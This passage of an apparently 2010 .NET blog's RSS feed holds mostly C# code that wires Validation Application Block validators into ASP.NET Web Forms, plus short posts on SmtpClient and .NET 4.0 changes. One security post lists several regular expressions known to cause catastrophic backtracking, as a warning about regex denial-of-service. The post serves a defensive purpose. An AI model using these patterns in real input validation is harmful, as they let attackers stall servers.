customvaluetypes="PutYourCustomValueTypesHere">this.LastNameTextBox<br />    .AddValidatorFor&lt;Person, int&gt;(p =&gt; p.Age, Int32.Parse);</pre><p>While this isn't bad, I don't like that I have to specify the int, because the compiler should be able to infer it. We will have to come up with another design that allows this type to be inferred. Here is an example of something that will work:</p><pre class="cs" language="csharp" customtypes="Person">this.LastNameTextBox.For&lt;Person&gt;()<br />    .AddValidator(p =&gt; p.Age, Int32.Parse);</pre><p>Let's cut to the chase. Here is the new implementation:</p><pre class="cs" language="csharp" customtypes="AspNetValidationIntegration AspNetValidationIntegrator BaseValidator Expression Control PropertyProxyValidator LambdaExpression MemberExpression UnaryExpression HttpException" customvaluetypes="ValidatorDisplay">public static class AspNetValidationIntegration<br />{<br />    public static AspNetValidationIntegrator&lt;TEntity&gt; <br />        For&lt;TEntity&gt;(this Control controlToValidate)<br />    {<br />        return new AspNetValidationIntegrator&lt;TEntity&gt;(<br />            controlToValidate);<br />    }<br />}<br /><br />public sealed class AspNetValidationIntegrator&lt;TEntity&gt;<br />{<br />    private readonly Control control;<br /><br />    public AspNetValidationIntegrator(Control control)<br />    {<br />        this.control = control;<br />    }<br /><br />    public BaseValidator AddValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector)<br />    {<br />        return this.AddValidator(propertySelector, <br />            string.Empty, null, null);<br />    }<br /><br />    public BaseValidator AddValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector, <br />        Func&lt;string, TValue&gt; converter)<br />    {<br />        return this.AddValidator(propertySelector, <br />            string.Empty, converter, null);<br />    }<br /><br />    public BaseValidator AddValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector,<br />        Func&lt;string, TValue&gt; converter, <br />        string convertionErrorMessage)<br />    {<br />        return this.AddValidator(propertySelector, <br />            string.Empty, converter, convertionErrorMessage);<br />    }<br /><br />    public BaseValidator AddValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector, <br />        string rulesetName)<br />    {<br />        return this.AddValidator(propertySelector, <br />            rulesetName, null, null);<br />    }<br /><br />    public BaseValidator AddValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector,<br />        string rulesetName, Func&lt;string, TValue&gt; converter)<br />    {<br />        return this.AddValidator(propertySelector, <br />            rulesetName, converter, null);<br />    }<br /><br />    public BaseValidator AddValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector,<br />        string rulesetName, Func&lt;string, TValue&gt; converter, <br />        string convertionErrorMessage)<br />    {<br />        var validator = this.CreateValidator(propertySelector, <br />            rulesetName, converter, convertionErrorMessage);<br /><br />        this.AddValidatorToPageJustAfterControl(validator);<br /><br />        return validator;<br />    }<br /><br />    public BaseValidator CreateValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector)<br />    {<br />        return this.CreateValidator(propertySelector, <br />            string.Empty, null, null);<br />    }<br /><br />    public BaseValidator CreateValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector, <br />        Func&lt;string, TValue&gt; converter)<br />    {<br />        return this.CreateValidator(propertySelector, <br />            string.Empty, converter, null);<br />    }<br /><br />    public BaseValidator CreateValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector,<br />        Func&lt;string, TValue&gt; converter, <br />        string convertionErrorMessage)<br />    {<br />        return this.CreateValidator(propertySelector, <br />            string.Empty, converter, convertionErrorMessage);<br />    }<br /><br />    public BaseValidator CreateValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector, <br />        string rulesetName)<br />    {<br />        return this.CreateValidator(propertySelector, <br />            rulesetName, null, null);<br />    }<br /><br />    public BaseValidator CreateValidator&lt;TValue&gt;(<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector, <br />        string rulesetName, Func&lt;string, TValue&gt; converter, <br />        string convertionErrorMessage)<br />    {<br />        PropertyProxyValidator proxy = <br />            CreateNewProxyValidator();<br /><br />        proxy.ControlToValidate = this.control.ID;<br /><br />        BindProxyValidatorToDomainProperty(proxy, <br />            propertySelector, rulesetName);<br /><br />        AddConverter(proxy, converter, convertionErrorMessage);<br /><br />        return proxy;<br />    }<br /><br />    private static void AddConverter&lt;TValue&gt;(<br />        PropertyProxyValidator proxy, <br />        Func&lt;string, TValue&gt; converter, string errorMessage)<br />    {<br />        if (converter != null)<br />        {<br />            proxy.ValueConvert += (sender, e) =&gt;<br />            {<br />                string value = e.ValueToConvert as string;<br />                try<br />                {<br />                    e.ConvertedValue = converter(value);<br />                }<br />                catch (Exception ex)<br />                {<br />                    if (string.IsNullOrEmpty(errorMessage))<br />                    {<br />                        e.ConversionErrorMessage = ex.Message;<br />                    }<br />                    else<br />                    {<br />                        e.ConversionErrorMessage = errorMessage;<br />                    }<br />                    <br />                    e.ConvertedValue = null;<br />                }<br />            };<br />        }<br />    }<br /><br />    private static void BindProxyValidatorToDomainProperty&lt;TValue&gt;(<br />        PropertyProxyValidator proxy,<br />        Expression&lt;Func&lt;TEntity, TValue&gt;&gt; propertySelector, <br />        string rulesetName)<br />    {<br />        proxy.PropertyName = GetPropertyName(propertySelector);<br />        proxy.SourceTypeName = typeof(TEntity).AssemblyQualifiedName;<br />        proxy.RulesetName = rulesetName;<br />    }<br /><br />    private void AddValidatorToPageJustAfterControl(<br />        BaseValidator validator)<br />    {<br />        int index = <br />            this.control.Parent.Controls.IndexOf(this.control);<br />        <br />        try<br />        {<br />            this.control.Parent.Controls.AddAt(index + 1, validator);<br />        }<br />        catch (HttpException ex)<br />        {<br />            throw BuildMoreExpressiveException(control, ex);<br />        }<br />    }<br /><br />    private static string GetPropertyName(<br />        LambdaExpression propertySelector)<br />    {<br />        var body = propertySelector.Body;<br /><br />        var member = body as MemberExpression ?? <br />            ((MemberExpression)((UnaryExpression)body).Operand);<br /><br />        return member.Member.Name;<br />    }<br /><br />    private static PropertyProxyValidator CreateNewProxyValidator()<br />    {<br />        var proxy = new PropertyProxyValidator()<br />        {<br />            Display = ValidatorDisplay.Static,<br />        };<br /><br />        // Let's make the proxy more fancy :-)<br />        proxy.Text = &quot;&lt;img src='http://www.cuttingedge.itstatus_failed_small.gif' /&gt;&quot;;<br />        proxy.PreRender += (s, e) =&gt;<br />        {<br />            proxy.Attributes[&quot;title&quot;] =<br />                ReformatErrorMessageForTitle(proxy.ErrorMessage);<br />        };<br /><br />        return proxy;<br />    }<br /><br />    private static string ReformatErrorMessageForTitle(<br />        string errorMessage)<br />    {<br />        errorMessage = errorMessage.Replace(&quot;&lt;br/&gt;&quot;, &quot;,&quot;);<br /><br />        // Remove the last ',', if any.<br />        if (errorMessage.Length &gt; 0 &amp;&amp;<br />            errorMessage[errorMessage.Length - 1] == ',')<br />        {<br />            return errorMessage.Substring(0, errorMessage.Length - 1);<br />        }<br /><br />        return errorMessage;<br />    }<br /><br />    private static Exception BuildMoreExpressiveException(<br />        Control control, HttpException exception)<br />    {<br />        return new InvalidOperationException(string.Format(<br />            &quot;Sorry, you have encountered a rare .NET bug. &quot; +<br />            &quot;Control '{1}', which is the parent control of &quot; + <br />            &quot;'{0}', contains '&lt;% %&gt;' tags. Because of the &quot; + <br />            &quot;existance of those tags, this parent control &quot; + <br />            &quot;can not be modified and it is impossible to &quot; + <br />            &quot;dynamically add validators to it. You can &quot; + <br />            &quot;fix this by wrapping '{0}' in another control&quot; + <br />            &quot;. For instance: &quot; + <br />            &quot;&lt;asp:{2} runat='server' ID='{1}'&gt;&quot; +<br />                &quot;&lt;asp:PlaceHolder runat='server'&gt;&quot; + <br />                    &quot;&lt;asp:{3} runat='server' id='{0}' /&gt;&quot; + <br />                &quot;&lt;/asp:PlaceHolder&gt;&quot; +<br />            &quot;&lt;/asp:{2}&gt;. {4}&quot;, control.ID, control.Parent.ID, <br />            control.Parent.GetType().Name, <br />            control.GetType().Name, exception.Message));<br />    }<br />}</pre><p>The trick here is that the <span class="type">AspNetValidationIntegration</span> class now only has one single extension method named <span class="code">For&lt;TEntity&gt;</span> which will return a new <span class="type">AspNetValidationIntegrator</span><span class="code">&lt;TEntity&gt;</span>. The magic happens in the <span class="code">AddConverter</span> method. In this method the <span class="type">PropertyProxyValidator</span>'s <span class="code">ValueConvert</span> event is hooked. Here is that method again:</p><pre class="cs" language="csharp" customtypes="PropertyProxyValidator" customvaluetypes="PutYourCustomValueTypesHere">&nbsp;    private static void AddConverter&lt;TValue&gt;(<br />        PropertyProxyValidator proxy, <br />        Func&lt;string, TValue&gt; converter, string errorMessage)<br />    {<br />        if (converter != null)<br />        {<br />            proxy.ValueConvert += (sender, e) =&gt;<br />            {<br />                string value = e.ValueToConvert as string;<br />                try<br />                {<br />                    e.ConvertedValue = converter(value);<br />                }<br />                catch (Exception ex)<br />                {<br />                    if (string.IsNullOrEmpty(errorMessage))<br />                    {<br />                        e.ConversionErrorMessage = ex.Message;<br />                    }<br />                    else<br />                    {<br />                        e.ConversionErrorMessage = errorMessage;<br />                    }<br /><br />                    e.ConvertedValue = null;<br />                }<br />            };<br />        }<br />    }</pre><p>The <span class="code">AddConverter</span> method hooks an anonymous method to the <span class="code">ValueConvert</span> event. The <span class="code">converter</span> and <span class="code">errorMessage</span> arguments are used as closures in this anonymous methods and used to do the actual convertion and display an message when the conversion fails.</p><p>Just as before this code hides the use of the <span class="type">PropertyProxyValidator</span> and even the use of the Validation Application block from the presentation layer. Validation Application Block is now just an implementation detail, which, from an architectural perspective, is a good thing.</p><p>Happy validating!</p> ]]></description>
			<guid isPermaLink="false">79@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ASP.NET, C#, Enterprise Library, Validation Application Block</category>
			<pubDate>Sat, 28 Aug 2010 00:49:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Integrating Validation Application Block with ASP.NET part 1</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=78</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=78#comm</comments>
                        <description><![CDATA[ This post describes how to take integration of Validation Application Block with  ASP.NET Web Forms to the next level by introducing extension methods  that centralize the creation of PropertyProxyValidator controls and  enable compile time support.<p>Last year, when reading the <a rel="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4f8cd377-5522-4f45-a024-44a6ca5111ec&amp;displaylang=en" title="Hands-On Labs for Microsoft Enterprise Library 5.0">Hands-On Labs</a> <a rel="external" href="http://www.cuttingedge.it/blogs/steven/images/ValidationHOL.zip" title="Hands-On Lab Validation Application Block 4.1">document</a> for the <a rel="external" href="http://msdn.microsoft.com/en-us/library/ff664356%28PandP.50%29.aspx" title="Microsoft Enterprise Library 5.0 The Validation Application Block">Enterprise Library Validation Application Block</a>, it struck me that the integration with ASP.NET Web Forms pretty sucked when using Validation Application Block (VAB). While the Hands-On Labs document has a special chapter (Lab 12) devoted on ASP.NET integration and the framework contains an assembly specially for this task, I couldn&rsquo;t help noticing that it was cumbersome and error prone.</p><p>I have to admit, the Patterns &amp; Practices team did a good job in creating nice design time support. When you follow the instructions in the Hands-On Lab document you will be able to drag a <span class="type">PropertyProxyValidator</span> to the form and configure it. A <a rel="external" href="http://msdn.microsoft.com/en-us/library/ff664564%28PandP.50%29.aspx" title="Integrating with ASP.NET">PropertyProxyValidator</a> is a ASP.NET validator control that functions as proxy between the ASP.NET validation mechanism and the VAB. As its name describes, it allows you to validate a single property from your domain.</p><p>The problem however is that you will usually have many <span class="type">PropertyProxyValidator</span> controls on the page. Each validator has to be configured with at least the type to validate (<span class="code">SourceTypeName</span>),&nbsp; the name of the property to validate (<span class="code">PropertyName</span>), the ID of the control to validate (<span class="code">ControlToValidate</span>), and optionally the ruleset to validate (<span class="code">RulesetName</span>). Not only is it lot of work to hook up all validators on the page, but the complete configuration is given in markup, making it almost impossible to quickly refactor the domain or the representation of the validators later on.</p><p>Here is an example of how a PropertyProxyValidator looks in markup:</p><pre class="xml" language="xml" customtypes="PutYourCustomTypesHere" customvaluetypes="PutYourCustomValueTypesHere"><font color="#0000ff">&lt;asp:<font color="#800000">TextBox </font><font color="#ff0000">runat</font>=&quot;server&quot; <font color="#ff0000">ID</font>=&quot;FirstNameTextBox&quot; /&gt;<br /><br />&lt;<font color="#800000">vab</font>:<font color="#800000">PropertyProxyValidator </font><font color="#ff0000">runat</font>=&quot;server&quot;<br />    <font color="#ff0000">ID</font>=&quot;Validator1&quot;<br />    <font color="#ff0000">SourceTypeName</font>=&quot;Company.Application.Domain.Person&quot;<br />    <font color="#ff0000">PropertyName</font>=&quot;FirstName&quot;<br />    <font color="#ff0000">ControlToValidate</font>=&quot;FirstNameTextBox&quot;<br />    <font color="#ff0000">RulesetName</font>=&quot;Alternative&quot;<br />/&gt;</font></pre><p>A better solution would be to wire up the validators in the code behind, in a way that gives us compile time support. There is no easy way to do this with VAB out of the box, but as always, it&rsquo;s not difficult to get a pleasurable workaround for this. We could for instance write an extension method that allows appending a validator to the page just behind the control to validate:</p><pre class="cs" language="csharp" customtypes="Person" customvaluetypes="PutYourCustomValueTypesHere">protected override void OnPreInit(EventArgs e)<br />{<br />    // Add a validator for the Person.LastName property.<br />    this.LastNameTextBox.AddValidatorFor&lt;Person&gt;(p =&gt; p.LastName);<br /><br />    // Add a validator for the 'Alternative' VAB ruleset and set <br />    // an alternative ASP.NET validation group.<br />    this.FirstNameTextBox<br />        .AddValidatorFor&lt;Person&gt;(p =&gt; p.FirstName, &quot;Alternative&quot;)<br />        .ValidationGroup = &quot;AlternativeValidationGroup&quot;;<br /><br />    base.OnPreInit(e);<br />}</pre><p>The first line of code registers a validator on the <span class="code">LastNameTextBox</span> for the <span class="type">Person</span><span class="code">.LastName</span> property. The validator will be added to the page directly after the control to validate. The second line registers a validator for the &lsquo;Alternative&rsquo; rule set of the <span class="type">Person</span><span class="code">.FirstName</span>. Because the extension method returns the created validator, we can directly set the <span class="code">ValidationGroup</span> of this validator. Of course I wouldn&rsquo;t advice using literal strings as done in this example, but you get the idea.<br /><br />Here&rsquo;s the code for these extension methods:</p><pre class="cs" language="csharp" customtypes="PropertyProxyValidator BaseValidator Control Expression UnaryExpression MemberExpression HttpException" customvaluetypes="ValidatorDisplay">public static BaseValidator AddValidatorFor&lt;T&gt;(<br />    this Control control, Expression&lt;Func&lt;T, object&gt;&gt; property)<br />{<br />    return AddValidatorFor&lt;T&gt;(control, property, string.Empty);<br />}<br /><br />public static BaseValidator AddValidatorFor&lt;T&gt;(<br />    this Control control, Expression&lt;Func&lt;T, object&gt;&gt; property,<br />    string rulesetName)<br />{<br />    var validator = CreateValidatorFor(control, property,<br />        rulesetName);<br /><br />    AddValidatorToPageJustAfterControl(validator, control);<br /><br />    return validator;<br />}<br /><br />public static BaseValidator CreateValidatorFor&lt;T&gt;(<br />    this Control control, Expression&lt;Func&lt;T, object&gt;&gt; property)<br />{<br />    return CreateValidatorFor(control, property, string.Empty);<br />}<br /><br />public static BaseValidator CreateValidatorFor&lt;T&gt;(<br />    this Control control, Expression&lt;Func&lt;T, object&gt;&gt; property,<br />    string rulesetName)<br />{<br />    PropertyProxyValidator proxy = CreateNewProxyValidator();<br /><br />    proxy.ControlToValidate = control.ID;<br /><br />    BindProxyValidatorToDomainProperty(proxy, property,<br />        rulesetName);<br /><br />    return proxy;<br />}<br /><br />private static PropertyProxyValidator CreateNewProxyValidator()<br />{<br />    return new PropertyProxyValidator()<br />    {<br />        Display = ValidatorDisplay.Static,<br />    };<br />}<br /><br />private static void BindProxyValidatorToDomainProperty&lt;T&gt;(<br />    PropertyProxyValidator proxy,<br />    Expression&lt;Func&lt;T, object&gt;&gt; property, string rulesetName)<br />{<br />    proxy.PropertyName = GetPropertyName(property);<br />    proxy.SourceTypeName = typeof(T).AssemblyQualifiedName;<br />    proxy.RulesetName = rulesetName;<br />}<br /><br />private static string GetPropertyName(LambdaExpression property)<br />{<br />    var member = property.Body as MemberExpression;<br /><br />    if (member == null)<br />    {<br />        var unaryExpression = (UnaryExpression)property.Body;<br />        member = (MemberExpression)unaryExpression.Operand;<br />    }<br /><br />    return member.Member.Name;<br />}<br /><br />private static void AddValidatorToPageJustAfterControl(<br />    BaseValidator validator, Control control)<br />{<br />    int index = control.Parent.Controls.IndexOf(control);<br /><br />    try<br />    {<br />        control.Parent.Controls.AddAt(index + 1, validator);<br />    }<br />    catch (HttpException ex)<br />    {<br />        throw BuildMoreExpressiveException(control, ex);<br />    }<br />}<br /><br />private static Exception BuildMoreExpressiveException(<br />    Control control, HttpException exception)<br />{<br />    return new InvalidOperationException(string.Format(<br />        &quot;Sorry, you have encountered a rare .NET bug. &quot; +<br />        &quot;Control '{1}', which is the parent control of '{0}'&quot; + <br />        &quot;, contains '&lt;% %&gt;' tags. Because of the existance &quot; + <br />        &quot;of those tags, this parent control can not be &quot; + <br />        &quot;modified and it is impossible to dynamically add &quot; + <br />        &quot;validators to it. You can fix this by wrapping &quot; + <br />        &quot;'{0}' in another control. For instance: &quot; + <br />        &quot;&lt;asp:{2} runat='server' ID='{1}'&gt;&quot; +<br />            &quot;&lt;asp:PlaceHolder runat='server'&gt;&quot; + <br />                &quot;&lt;asp:{3} runat='server' id='{0}' /&gt;&quot; + <br />            &quot;&lt;/asp:PlaceHolder&gt;&quot; +<br />        &quot;&lt;/asp:{2}&gt;. {4}&quot;, control.ID, control.Parent.ID, <br />        control.Parent.GetType().Name, <br />        control.GetType().Name, exception.Message));<br />}<br /></pre><p>I think this code rather speaks for itself. When called, the method will create a new validator by binding to the control to validate and binding it to the property in the domain. After that it adds the validator to the page&rsquo;s control hierarchy.</p><p>This code has several other benefits. First of all, while working with a <span class="type">PropertyProxyValidator</span> internally, it returns the newly created instance by it&rsquo;s base type: <span class="type">BaseValidator</span>. This way we can prevent our presentation layer from having a direct dependency on the Validation Application Block, which is a good thing from an architectural perspective.</p><p>A second benefit is that we&rsquo;ve now centralized the creation of these validators and can customize the creation more easily. As you might know, the default behavior of the ASP.NET validators and therefore the <span class="type">PropertyProxyValidator</span> is to display the full error message inline. It would be more attractive when the validator would only show an image and allow the error message to be shown when the image is hovered with the mouse. With the current design we only have to change the <span class="code">CreateNewProxyValidator</span> method. Here is the improved implementation:</p><pre class="cs" language="csharp" customtypes="PropertyProxyValidator " customvaluetypes="ValidatorDisplay">private static PropertyProxyValidator CreateNewProxyValidator()<br />{<br />    var proxy = new PropertyProxyValidator()<br />    {<br />        Display = ValidatorDisplay.Static,<br />    };<br /><br />    // Let's make the proxy more fancy :-)<br />    proxy.Text = &quot;&lt;img src='http://www.cuttingedge.itstatus_failed_small.gif' /&gt;&quot;;<br /><br />    // Here is a little trick to set the title attribute<br />    // with the error message.<br />    proxy.PreRender += (sender, e) =&gt;<br />    {<br />        var title = proxy.ErrorMessage.Replace(&quot;&lt;br/&gt;&quot;, &quot;,&quot;);<br /><br />        if (title.Length &gt; 0 &amp;&amp; title[title.Length - 1] == ',')<br />        {<br />            title = title.Substring(0, title.Length - 1);<br />        }<br /><br />        proxy.Attributes[&quot;title&quot;] = title;<br />    };<br /><br />    return proxy;<br />}</pre><p>There is a bit dirty trickery going on in this method, because of how the <span class="type">PropertyProxyValidator</span> is implemented, but at least we&rsquo;re now able to change the look and feel of our application. You don&rsquo;t want to get this task assigned to you when all <span class="type">PropertyProxyValidator</span> were defined in markup.</p><p>Please note that the code presented in this post has one important drawback: it will fail miserably when we're trying to validate anything else than text, such as numbers, dates etc. Please read <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=79" title="Integrating Validation Application Block with ASP.NET part 2">part 2</a> for a solution to this problem.</p><p><font color="#ff0000"><font color="#000000">Please note that there is </font></font><font color="#ff0000"><font color="#000000"><a rel="external" href="http://www.west-wind.com/weblog/posts/5758.aspx" title="Rick Strahl's Web Log - The Controls collection cannot be modified because the control contains code blocks (i.e. &lt;% ... %&gt;). ">an important quirk</a> in</font></font><font color="#ff0000"><font color="#000000"> de design of ASP.NET that you might come across when implementing this solution. The exception message of the </font></font><span class="code">BuildMoreExpressiveException</span><font color="#ff0000"><font color="#000000"> method already gives it away. The solution proposed in this article works by injecting controls in to the page's control hierarchy. However, when an ASP.NET page contains &lt;% %&gt; code blocks, the collection of controls containing such a code block gets immutable and the line <span class="code">control.Parent.Controls.AddAt(index + 1, proxy);</span> will result in an <span class="type">HttpException</span>. You can work around this problem by wrapping the control that you want to validate with a server tag, such as an </font></font><span class="code">&lt;asp:PlaceHolder&gt;&lt;/asp:PlaceHolder</span><font color="#ff0000"><font color="#000000">&gt;. By throwing an exception with a very descriptive message, I'm hoping to save you and your fellow developers a lot of time, when you encounter this problem. </font></font></p><p>Happy validating!</p> ]]></description>
			<guid isPermaLink="false">78@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ASP.NET, C#, Enterprise Library, Validation Application Block</category>
			<pubDate>Sun, 15 Aug 2010 15:51:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>CuttingEdge.Conditions source used for MongoDB .NET Driver</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=77</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=77#comm</comments>
                        <description><![CDATA[ Since I built <a rel="external" href="http://conditions.codeplex.com" title="CuttingEdge.Conditions">CuttingEdge.Conditions</a>, I had lots of positive reactions from developers who loved it. However, I've never saw the source code been reused in another library or framework; until now.<p><img src="http://www.cuttingedge.it/blogs/steven/images/conditions.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />I just stumbled upon an exact copy of the CuttingEdge.Conditions <a rel="external" href="http://mongodb-net.googlecode.com/svn-history/r73/trunk/MongoDB.Driver/Platform/Conditions/" title="mongodb-net - Revision 73: /trunk/MongoDB.Driver/Platform/Conditions">source code</a> inside the <a rel="external" href="http://code.google.com/p/mongodb-net/" title="mongodb-net">MongoDB .NET Driver</a>. I am absolutely fine with this. I deliberately choose the MIT license which permits reuse of the code in any form. Reuse of my code is the biggest compliment a developer can give me, except of course compliments that involve money :-).</p> ]]></description>
			<guid isPermaLink="false">77@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, CuttingEdge.Conditions</category>
			<pubDate>Mon, 28 Jun 2010 17:40:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Breaking changes in SmtpClient in .NET 4.0</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=76</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=76#comm</comments>
                        <description><![CDATA[ In .NET 4.0 the SmtpClient class now implements IDisposable. This is a breaking change what you should watch out for.<p><img src="http://www.cuttingedge.it/blogs/steven/images/breakingchains.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />For .NET 4.0 the BCL team decided to pool SMTP connections, just as .NET already did with database connections. This of course means that the <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.net.mail.smtpclient.aspx" title="MSDN System.Net.Mail.SmtpClient">SmtpClient</a> class should implement <span class="type">IDisposable</span>, just as the <span class="type">SqlConnection</span> does. When STMP connections are pooled, the overhead over establishing a new connection is lowered, which is a good thing. However, this is a breaking change. Migrating your code to .NET 4.0, without any changes, could lead to the same connection pool timeout exceptions as we're are used with database connections.</p><p>Perhaps there are more of these 'hidden jams' inside the new .NET 4.0 framework. So when migrating to .NET 4.0, it's wise to recompile your project and run FxCop over it. When your code isn't too complicated, FxCop will spot the places where you didn't dispose any disposable object. And you can already prepare your code like this:</p><pre class="cs" language="csharp" customtypes="SmtpClient" customvaluetypes="PutYourCustomValueTypesHere">var client = new SmtpClient();<br /><br />// Do not remove this using. In .NET 4.0<br />// SmtpClient implements IDisposable.<br />using (client as IDisposable)<br />{<br />    client.Send(message);<br />} <br /></pre><p>Good luck.</p> ]]></description>
			<guid isPermaLink="false">76@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General</category>
			<pubDate>Thu, 06 May 2010 15:41:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Protecting against Regex DOS attacks</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=75</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=75#comm</comments>
                        <description><![CDATA[ Bryan Sullivan describes in the May issue of his MSDN article a denial  of service attack that abuses regular expressions. As Bryan explains, a  poorly written regex can bring your server to its knees.<p>Bryan demonstrates that even the simplest regular expressions can bring your server to its knees. Here are some examples of regular expressions that can easily cause this to happen:</p><pre class="cs">^(\d+)+$<br />^(\d+)*$<br />^(\d*)*$<br />^(\d+|\s+)*$<br />^(\d|\d\d)+$<br />^(\d|\d?)+$</pre><p>Read more about the causes and the cures <a rel="external" href="http://msdn.microsoft.com/nl-nl/magazine/ff646973%28en-us%29.aspx" title="MSDN - Regular Expression Denial of Service Attacks and Defenses">here</a>.</p><p><font color="#FF0000">UPDATE 2012-06-04</font>: .NET 4.5 contains a RegEx.Timeout property to specify a maximum duration for the regex.</p> ]]></description>
			<guid isPermaLink="false">75@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Security</category>
			<pubDate>Wed, 05 May 2010 12:14:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Breaking changes in .NET 4.0</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=74</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=74#comm</comments>
                        <description><![CDATA[ Microsoft published an interesting list of breaking changes in the just released .NET 4.0 framework.Read the <a rel="external" href="http://msdn.microsoft.com/en-us/library/ee941656%28VS.100%29.aspx" target="_blank" title=".NET Framework 4 Migration Issues">.NET Framework 4 Migration Issues</a> here. ]]></description>
			<guid isPermaLink="false">74@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General</category>
			<pubDate>Tue, 13 Apr 2010 08:28:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Validator inheritance while using Validation Application Block configuration files</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=73</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=73#comm</comments>
                        <description><![CDATA[ This article describes how to build an IConfigurationSource implementation that allows validators, defined in a base class or interface, to be inherited by subclasses and implementations.<p><a rel="external" href="http://msdn.microsoft.com/en-us/library/dd140088.aspx" title="Enterprise Library 4.1 - October 2008 The Validation Application Block">Enterprise Library Validation Application Block</a> (VAB) is a great framework. As I wrote before, it allows many complex scenarios. There&rsquo;s one shortcoming of VAB though, that I find particularly annoying. While it allows validation attributes to be inherited from base types to derived types, <a rel="external" href="http://entlib.codeplex.com/wikipage?title=Why%20do%20validators%20that%20are%20configured%20in%20the%20base%20class%20not%20work%20in%20its%20subclasses?&amp;referringTitle=EntLib%20FAQ" title="patterns &amp; practices &ndash; Enterprise Library FAQ - Why do validators that are configured in the base class not work in its subclasses?">inheritance is not supported for validations defined in configuration files</a>. This means that when validating a type, all validations defined through configuration on base classes of that type are ignored. Even the coming 5.0 release will lack this feature.</p><p>This behavior, or lack of functionally, is caused by the internal workings of VAB. While the internal <span class="type">MetadataValidatorBuilder</span> uses reflection on types to find the defined validators of a type, the internal <span class="type">ConfigurationValidatorBuilder</span> simply finds a type&rsquo;s validators by it&rsquo;s type name. From the perspective of the <span class="type">ConfigurationValidatorBuilder</span>, there are no types, just strings. For being able to find base types of a certain type, you need the .NET type system. In other words, the <span class="type">ConfigurationValidatorBuilder</span> would first need to create a <span class="type">Type</span> object from a string. And while the type name is mandatory in the VAB configuration system, the type&rsquo;s assembly name is optional. This makes creating an actual type rather time consuming, because all types in the current AppDomain need to be iterated and matched by there name.</p><p>According to the <a rel="external" href="http://entlib.codeplex.com/wikipage?title=Why%20do%20validators%20that%20are%20configured%20in%20the%20base%20class%20not%20work%20in%20its%20subclasses?&amp;referringTitle=EntLib%20FAQ" title="patterns &amp; practices &ndash; Enterprise Library FAQ - Why do validators that are configured in the base class not work in its subclasses?">Enterprise Library FAQ</a>, there actually is a simple solution to this problem:</p><blockquote>replicate the validation specification for the subclasses.</blockquote><p>This of course is a brittle and error prone solution. Every time you create a new derived type, you have to think about duplicating that logic. It&rsquo;s annoying and time consuming. There must be other possibilities.</p><p>In <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=65" title=".NET Junkie - Putting the Validation Application Block configuration in its own file">a previous article about VAB</a> I showed a way to validate a set of objects using VAB. The code looked like this:</p><pre class="cs" language="csharp" customtypes="ValidationResult Validator ValidationFactory" customvaluetypes="PutYourCustomValueTypesHere">public IEnumerable&lt;ValidationResult&gt; Validate(<br />    IEnumerable&lt;object&gt; entities)<br />{<br />    return<br />        from entity in entities<br />        let type = entity.GetType()<br />        let validator = CreateValidator(type)<br />        let results = validator.Validate(entity)<br />        where !results.IsValid<br />        from result in results<br />        select result;<br />}<br /><br />private static Validator CreateValidator(Type type)<br />{<br />    string ruleSet = string.Empty;<br /><br />    return ValidationFactory.CreateValidator(type, ruleSet,<br />        ConfigurationSource);<br />}</pre>  <p>The code iterates all given entities and validates each instance by retrieving the validator for the type of that instance. We can add quick and dirty inheritance support by also iterating the type hierarchy of each instance and validate that instance against the validator for that particular type:</p>   <pre class="cs" language="csharp" customtypes="ValidationResult Validator ValidationFactory" customvaluetypes="PutYourCustomValueTypesHere">public IEnumerable&lt;ValidationResult&gt; 